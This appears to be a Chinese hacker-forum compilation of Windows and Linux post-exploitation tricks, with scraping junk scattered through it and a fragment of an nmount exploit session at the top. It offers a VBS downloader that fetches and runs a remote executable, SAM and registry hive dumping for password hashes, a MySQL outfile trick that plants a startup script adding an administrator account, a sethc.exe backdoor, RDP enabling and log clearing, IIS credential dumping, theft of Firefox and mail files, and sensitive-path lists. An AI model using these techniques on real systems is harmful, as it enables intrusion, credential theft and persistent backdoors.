* [argp@julius ~]$ id
* @' K* f5 a9 ^7 C* uid=1001(argp) gid=1001(argp) groups=1001(argp)
9 B6 g& d& G* o2 Q4 n* K$ M* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
- S" z+ s0 C( A* [argp@julius ~]$ ./nfs_mount_ex
& S8 t7 H0 n. V& g( q3 N6 u5 z$ Y) M*
calling nmount()
; s5 Z* U; C* U' f/ D4 _
. u. x' p3 O: S' V) x( v! u（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
9 Y2 t. K. S2 s! P! N7 C- Q/ }8 Ralzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
3 _  l' d/ T2 I4 ~{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
7 j: o' @2 [1 P+ `2 B* y
提权先执行systeminfo
  Z9 ]* n, W3 Z! htoken 漏洞补丁号 KB956572
) t: k: W4 N5 b8 w8 V! XChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
$ A8 z5 ~$ l! O/ j7 d, M——————————————
' H8 d5 b$ ^4 D8 s2、收集系统信息的脚本  
for window：

@echo off
echo #########system info collection
systeminfo
! Q4 o9 z' c4 K# O# F* i/ [! G& h1 vver
$ y0 ]( V1 O. G) h% _0 ahostname
net user
net localgroup
$ m- G# f" S: f( j' znet localgroup administrators
9 }5 s/ g" Z3 F( x" o% t/ M# cnet user guest
% i& K8 f* s2 @' j0 enet user administrator
" K6 w1 _( J/ ^  Q# [6 Z9 u% N" a
echo #######at- with   atq#####
+ ^* J, V: P. K) g2 Vecho schtask /query
* ^' s8 T9 G$ o1 t  S% |
echo
echo ####task-list#############
tasklist /svc
: S, V1 w, H4 K; Yecho
6 @" P8 w  l, e) J  y# a1 Lecho ####net-work infomation
# b. M# W" i+ a. q& H; z6 oipconfig/all
3 z( ]2 z' n9 g. o4 yroute print
4 ]. @7 t* \7 R6 Darp -a
netstat -anipconfig /displaydns
echo
7 h) _& r' u7 I; q; C* Q' Qecho #######service############
sc query type= service state= all
echo #######file-##############
5 M% t- ?. j, y$ Ncd \
! ^" s# X2 e' k5 G' N' w+ vtree -F
, \7 f. n' x, Y, H1 j2 i& Xfor linux：

#!/bin/bash
- ^/ V6 w5 M9 E8 ]7 w! t8 q9 B
+ w" _3 b9 O# Z8 l) Mecho #######geting sysinfo####
: C& y4 _' g, L! x# M. V9 U! cecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
( e7 K( ~3 s+ }echo #######basic infomation##
cat /proc/meminfo
  V3 s2 W9 j* E6 r" Qecho
cat /proc/cpuinfo
echo
4 J( D; K( k! Z. O! trpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

* j+ M6 H: k7 D: e. p1 `
2 G6 }  p/ |# b/ {9 Vecho 'u'r id is' `id`
echo ###atq&crontab#####
+ J  K8 m' j1 L; K! j* yatq
. S- n3 ]& s5 ]8 Fcrontab -l
echo #####about var#####
8 s! o% ?# c/ J" nset

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
  l; Z) c. R" Y' `. K$ Z+ rarp -v
# @, L# w3 D- g3 hecho ########user####
- |( B4 _" p' ]' V# i+ z5 mcat /etc/passwd|grep -i sh
, R* }5 R9 R  C: x6 o
8 W8 o; B7 p/ p- |2 j' o. T2 fecho ######service####
chkconfig --list
( J- ^' \+ l" l) j' H1 G6 c7 K# p
' L  \; z$ L9 x1 u7 D: a4 D/ gfor i in {oracle,mysql,tomcat,samba,apache,ftp}
% o6 R( ~) @- ^* L: Y- Lcat /etc/passwd|grep -i $i
  N7 A' _* t. G6 b4 P+ e0 C) Ldone
: g% S: P6 x7 I. o
# i3 Y5 V: {* S1 @locate passwd >/tmp/password 2>/dev/null
! o5 w8 c% n9 C9 z# M) t) w0 ]sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
- D5 {: k- {1 U6 o7 [/ S. qlocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

9 a& y5 O/ B' M###maybe can use "tree /"###
$ F+ Z! I# K! F- Vecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
. `9 a+ a! B* E( J8 \3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
& h& R9 n5 I) h, i8 u9 r               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
7 f6 s0 ]7 _: M: \0 |% d# g接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
1 k7 J5 {* E) K3 W* q- \5 @hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
9 u6 K  `/ |2 P& @5 p——————————————
4、vbs 下载者
, S: P( z$ \; p' |) \/ a1
7 i3 S: t# L! z% y& W2 oecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
! B7 p  z" g7 ?- B& b4 gecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
1 g. |9 ?  x/ Q7 V3 N% Hecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
- \  n# }1 |0 J% g( iecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
0 ]/ W4 x$ U- d
5 _) s4 \) Q, X; X2
: ]! }/ D/ C6 J. k7 j* wOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
3 i, s( p$ P' _% @2 q/ ?& S- ys1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
' w/ T$ [) q- |6 Z! u
1 ]& I7 Y1 Y  H% c6 d5 t当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
+ Y1 ]& S1 y3 M5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
- k: r9 V! E2 e8 P7 UREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
( Q7 e* s; V$ Y0 a" P0 I) Z0 eREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
7 _& A8 k2 m/ b9 \- YREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
! Y) w" t2 W' J* m4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
/ ^7 l7 W& ?: r* t$ m2 I: T7 n6、create table a (cmd text);
' e/ j8 k; m7 {0 }, L  i/ xinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
5 w9 E+ @3 a2 V6 V- `select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
. K2 [# r2 V1 m1 f————————————————————
, D* F; C' D" f# |1 C; l+ E2 f7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
  [; f7 u8 P! H; C5 Q8、for /d %i in (d:\freehost\*) do @echo %i
: H$ S6 w7 B# N! Z
列出d的所有目录
  F* x# v& ^& ]! d  
6 k8 [5 z2 E# `' Y2 D  for /d %i in (???) do @echo %i

* N/ J+ I4 V- [" U" G- ]把当前路径下文件夹的名字只有1-3个字母的打出来

( R5 t3 g. ~$ _2.for /r %i in (*.exe) do @echo %i
  
4 Y: W! X5 ]9 c以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
5 E4 v' P) d0 h  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

! x. S. j1 A; j: W- P* A4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
* A+ I, W3 G) N* |
6 b4 r1 \# a5 Q- I1 V9 ]# r+ a  delims=后的空格是分隔符 tokens是取第几个位置
3 `/ X+ Q" o# J0 ~——————————
/ d0 D; n4 L; b) X  P+ {- q* A●注册表:
1.Administrator注册表备份:
7 l$ M3 }  e9 A( b: ]: u* nreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
% z2 Q6 _3 B$ Q7 q
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
; ?6 @- e- F. T. {* Y6 _
3.清除3389登录记录:
4 |$ x$ ?3 ?* Kreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

* g, j$ W8 D7 h  Z; p$ N3 |4 `4.Radmin密码:
, k" E* G  r" U  ~; y2 \0 u5 ~. L1 Wreg export HKLM\SYSTEM\RAdmin c:\a.reg

% W2 `5 X7 s8 L2 `% a5.禁用TCP/IP端口筛选(需重启):
1 U6 k0 L0 p2 u9 r5 ?2 gREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
+ X- g+ q; r/ }* r/ ?- Y7 D: u
0 @9 C% V: Z8 O; P$ s. x% X0 u6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
/ l9 q3 r- f1 A! G  L5 G9 b
# y- b) u3 e# e7 I7.停止指派策略"myipsec":
3 i# P2 |, ?6 _  \+ Inetsh ipsec static set policy name="myipsec" assign=n

& o, J' L8 z( Z; Q" ?) d* y8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
0 K* _' y; V+ c& J1 i' A
- Y; h$ y# _" \3 D  P2 q8 [9.另类方法抓系统密码HASH
; R5 w8 D  B6 R0 g8 N7 t- W9 kreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
8 C5 P* G0 |' a0 l( e; lreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

( z4 F4 v4 m4 |reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
6 z$ S9 F5 z: d% f5 t星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
& d( o4 z" d3 a8 R6 ^childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
0 k1 |* @1 v1 gif IsNumeric(childObjectName)=true then
3 |- ?; c: ^  nset IIs=objservice.GetObject("IIsWebServer",childObjectName)
$ _/ h6 ^: {5 mif err.number<>0 then
exit for
  K" c- w: d, ?* @$ Emsgbox("error!")
5 e1 p$ ^/ {* E" ~0 bwscript.quit
- x0 D, b, z7 l3 r7 O, w% j+ ]! iend if
1 I* x* |& G! `- i+ Mserverbindings=IIS.serverBindings
- E/ n* w" P) Q, b+ _ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
" C0 e( t6 `: g% |' V8 q8 i+ uuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
" O, p; `! f9 i1 X6 Y  qlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
- s) o+ h( f, W1 ?# Q* C7 \! D% rwscript.echo list
Set ObjService=Nothing
9 d- L# V# R3 G  rwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
& N' }5 R' y0 l3 oWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
- K; m+ u: u7 Q4 F6 n% k$ N5 l7 V1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
' Q4 _9 @3 n, H4 ~2 L2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
6 g) {% E  l. [9 n复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
  H9 W; [- C8 ]- k9 t( d$ {- r 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
& i" ^7 c( R- O0 j# o 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
& N& ~2 W- Q9 U3 P
9 ]$ T7 N8 \. B, w( ^% R2 Q==============================================================
LINUX常见路径：

2 a$ A1 i8 }8 Q1 i/etc/passwd
0 J% q! W7 l% ~8 W  u/etc/shadow
: N& H, c: \8 }/etc/fstab
4 a9 [" S" j2 g/ J8 @  @/etc/host.conf
0 d3 L# z/ T3 z  F: n/etc/motd
/etc/ld.so.conf
% |' _1 n( y1 d# p* a/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
; q9 n: ~; Y+ [9 q/var/httpd/conf/httpd.conf
$ a# {' \+ w+ `8 D5 Z! g9 ^/var/httpd/htdocs/index.html
/ A; Y" i! w+ a* x/var/httpd/conf/php.ini
/var/www/index.html
6 D8 s& |, W3 y/ b! v8 y- t/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
1 l! G" }- F7 M/usr/local/apache/htdocs/index.php
; A/ r" L" z& b/usr/local/apache2/htdocs/index.html
4 W7 h8 F% V/ u. L- x/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
7 r/ n6 L5 D4 ]9 ]/tmp/apache/htdocs/index.html
% W+ Y' u# F- [* F! l/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
8 r$ S0 x  l- W1 n8 C/etc/httpd/conf/httpd.conf
' d1 ^3 d" v, \/ x% {& q9 E' r/etc/httpd/htdocs/index.html
$ M9 h7 {  I/ \# A$ ^$ {9 y/www/php/php.ini
/www/php4/php.ini
# e9 }; X) t5 c9 r/www/php5/php.ini
+ q4 N" n1 _# ?; s  U/www/conf/httpd.conf
/www/htdocs/index.php
/ G, d/ i; `6 v' o, }/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
& B; c3 W' B' R, i  z/apache/apache/conf/httpd.conf
  }7 d  [' [5 F7 N5 ^, Y$ U/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
  j: ?& f( o6 y" s% {! G/ \1 l7 m7 V/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
8 t  K' m* t- j: M: [. ^/etc/httpd/conf.d/httpd.conf
2 ~8 Y, i. z6 ^% T/etc/httpd/logs/error_log
; E; a4 Q1 c& ?/etc/httpd/logs/error.log
$ W% u) H% o' K3 C( j$ m/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
  @& ?7 X% s5 [7 d8 P7 b/var/log/apache/error.log
- t- O5 z6 \& L' O, z, `/var/log/apache/access_log
. \$ J4 F, u: l) t/var/log/apache/access.log
/var/log/apache2/error_log
3 N# |4 ^8 c( d, F7 Z/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
6 t1 h! j; ]. F6 k# T/var/www/logs/error_log
. c( |2 t7 ]$ }5 K: t- k/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
* X8 z2 {% e  t/usr/local/apache/logs/access_log
: g2 r& e$ `& ~2 z, y. D& F/usr/local/apache/logs/access.log
4 M* G: |& [' f* N: A  ]/var/log/error_log
* o" I) k5 n$ U/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
, U9 ?* J4 G, c# h/etc/init.d/httpd
/etc/init.d/mysql
# z+ G2 c8 |5 @$ U/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
. L. I: U' F8 j: H1 j0 `% B' Z* B/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
9 j4 e4 b- F% N: `/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
2 U3 k9 @, ?+ O2 D/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
. h! b4 P% n  R  V/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
( c) `& m1 |" G& r+ h. I/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
" n4 t: t8 r! o) ^/ }/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
; Z( p( A6 c: l7 a/etc/php4/apache/php.ini
$ ]7 |+ l/ w3 t2 e, s, e/etc/php4/apache2/php.ini
$ o, i; I9 z9 b$ ^. t: a/etc/php5/apache/php.ini
# \& A8 Q( t! b  b/etc/php5/apache2/php.ini
/etc/php/php.ini
7 l" V) b: o: _7 E  o- a. O. `! H8 t  l/etc/php/php4/php.ini
* y% s( M$ s0 \  E1 ~$ C" c, [  Q5 M/etc/php/apache/php.ini
/etc/php/apache2/php.ini
# l1 r6 f0 \/ `  t2 H4 r7 [6 C/web/conf/php.ini
/usr/local/Zend/etc/php.ini
% L$ D- l6 i5 _3 K8 c  ~/opt/xampp/etc/php.ini
) X2 a8 L/ X. V. q/var/local/www/conf/php.ini
; Y- e" @' s* q/var/local/www/conf/httpd.conf
7 w5 S9 H1 Z: ^& z! q+ g/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
- ~3 \8 o1 [" D: P/etc/php5/cgi/php.ini
/php5/php.ini
4 s% @% f$ z4 F/ h/php4/php.ini
/php/php.ini
# A9 K. y: b, ?: @/PHP/php.ini
/apache/php/php.ini
  g; {1 ?7 A. [8 O( Q/xampp/apache/bin/php.ini
6 c" d3 A# B0 R1 A4 c/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
4 }/ d% `6 h9 N5 V3 c; {! `/home2/bin/stable/apache/php.ini
$ {& ]# Z- B7 d! Y/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
5 A4 E8 ~9 i! M, y3 z) S- T( n& C: c/var/log/mysql.log
6 D4 w& Y, m1 h7 H/var/log/mysqlderror.log
/ `$ ]0 |. o; o8 u/var/log/mysql/mysql.log
+ Z: j+ I$ v4 z1 B/ {2 L; ?" h  z$ p$ K/var/log/mysql/mysql-slow.log
8 b, f& G2 k' ?6 d8 X  H* |) ~/var/mysql.log
( [5 ?$ e. i/ \2 R0 S& X" u/var/lib/mysql/my.cnf
1 p9 x7 a( A) y! G1 W/usr/local/mysql/my.cnf
# ]4 i! z7 H. A3 d8 M+ |  R/usr/local/mysql/bin/mysql
6 B% p6 a7 P2 m6 V0 y$ b0 T/etc/mysql/my.cnf
; {# }" |0 X) W, |; W/etc/my.cnf
" X: S6 ~0 {5 i" X$ A: S  D5 v/usr/local/cpanel/logs
# k+ |, U3 k1 Q" Z/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
8 P0 N- n" Z$ P* Q/usr/local/cpanel/logs/license_log
- J$ b9 \# x! Q- }& P3 v  l/usr/local/cpanel/logs/login_log
: y; e! E8 a) H3 S/usr/local/cpanel/logs/stats_log
5 ^! S9 f4 s) a/ }/usr/local/share/examples/php4/php.ini
1 l5 ?1 F$ ~. [% }; \/usr/local/share/examples/php/php.ini
8 I4 q6 [- v4 H, ^+ H& N+ r
1 Z( w+ q) ^  e2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
  A/ R: C6 Y, q3 R3 j3 Z4 z
- |( S+ z$ E  H+ u5 i: @) Y! Pc:\windows\php.ini
; B/ ]5 w: @6 q: }2 K1 Ic:\boot.ini
9 w( H; Z# ]/ N+ Cc:\1.txt
% v  v$ }( \; j5 Q1 l7 t  S4 x, Tc:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
8 e( K4 S7 a) @8 K0 `/ }& Tc:\program files\CMailServer\CMailServer.exe
9 Y$ N4 m8 A4 |  N+ @c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
: h4 Y3 I% C; c: DC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
3 G2 S4 ]2 M+ w. DC:\WINDOWS\7i24tool.exe

6 V, I8 W, K" U5 X/ ?' @3 a1 Oc:\hzhost\databases\url.asp
% _' o: T! Y( u9 ~
& R9 h+ ~! B( oc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
$ |! @6 c8 v6 C9 v' T
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
1 j* o# E& G7 @9 F, ^C:\WINDOWS\web.config
7 u7 ^, n+ _( }c:\web\index.html
1 \7 e! |, T" n/ b" n" u. B* E: qc:\www\index.html
c:\WWWROOT\index.html
3 f/ F; ?8 U1 ]$ n2 p; ]+ Tc:\website\index.html
5 n7 N  h/ I5 c2 K" D4 a) [3 B6 Dc:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
/ e7 @, m5 N) e& P* ^0 T5 Fc:\WWWROOT\index.asp
1 z4 `: Y9 U$ M- g/ Dc:\web\index.php
c:\www\index.php
9 F* x1 Y8 \# V+ {+ a0 N, Mc:\WWWROOT\index.php
5 c' K' ^' y4 t4 W* C( oc:\WWWsite\index.php
2 u% P, U7 e/ A! ~6 Oc:\web\default.html
c:\www\default.html
1 z" T4 B! \& \! j/ nc:\WWWROOT\default.html
0 R  J) a. Q6 q& fc:\website\default.html
c:\web\default.asp
  @7 Y- i5 m, Ac:\www\default.asp
, m0 p9 ?4 x$ y* D# pc:\wwwsite\default.asp
c:\WWWROOT\default.asp
& H! B& T' F1 G: ]c:\web\default.php
c:\www\default.php
, z; Y. i8 M& b5 f. xc:\WWWROOT\default.php
) u: S8 o; L/ Z2 j- X8 qc:\WWWsite\default.php
! ]! L: N0 Y9 Z6 GC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
7 E( J0 S. d+ }" F2 {C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
8 E* Y5 [- f! y4 E6 i: q6 ]1 l) b% I& vC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
# t% `- n9 X4 J& OC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
3 p' g. g& q4 d( F& Dc:\ravbin\store.ini
9 c2 S1 c  |: D0 Y# P' ~$ |c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
& l% p: ^- b7 O( K( fC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
# \# @+ P: S) B) V1 N$ Q- H: ^" yC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
( K) Y& Z0 R- Z& U9 W) nC:\Documents and Settings\Administrator\桌面\1.txt
' J* n+ T. v# P% W  fC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
% H! S; K3 F" Y- F# rE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
  x8 y4 V! B+ N/ @8 u; U2 AC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
" V1 D$ ~. S. p& J; M  SC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
( f: ]8 P- w! j5 WC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
' N+ P; J/ \( K: q) zC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
0 H' l& {. {5 D& c6 S2 {8 I+ N2 f6 j& ^# hC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
# ^" u3 w/ |+ B8 F4 `- N4 t8 O5 LC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
4 R0 l- M) q  ^3 U- e& ]7 b2 ?5 ?C:\Program Files\MySQL\MySQL Server 5.0\my.ini
5 U  F+ l! Y+ b( u# i# W( B/ mC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
5 j" v  q7 W3 P6 h. o! u2 rC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
$ i: [2 d' D$ j% T2 p3 w2 b$ Y+ b9 iC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
9 u" W0 F7 Q# s9 ^9 d. B4 |c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
# ]& r  M2 U0 z5 s) uC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
! h5 X: _0 L4 bC:\WINDOWS\system32\config\default.LOG
  H  x/ H" C, x/ c( N, p- h9 x; I2 NC:\WINDOWS\system32\config\sam
/ k) z* ?/ {  j. x. {& QC:\WINDOWS\system32\config\system
1 H4 q3 `4 N: ~5 \9 f% T1 [3 ic:\CMailServer\config.ini
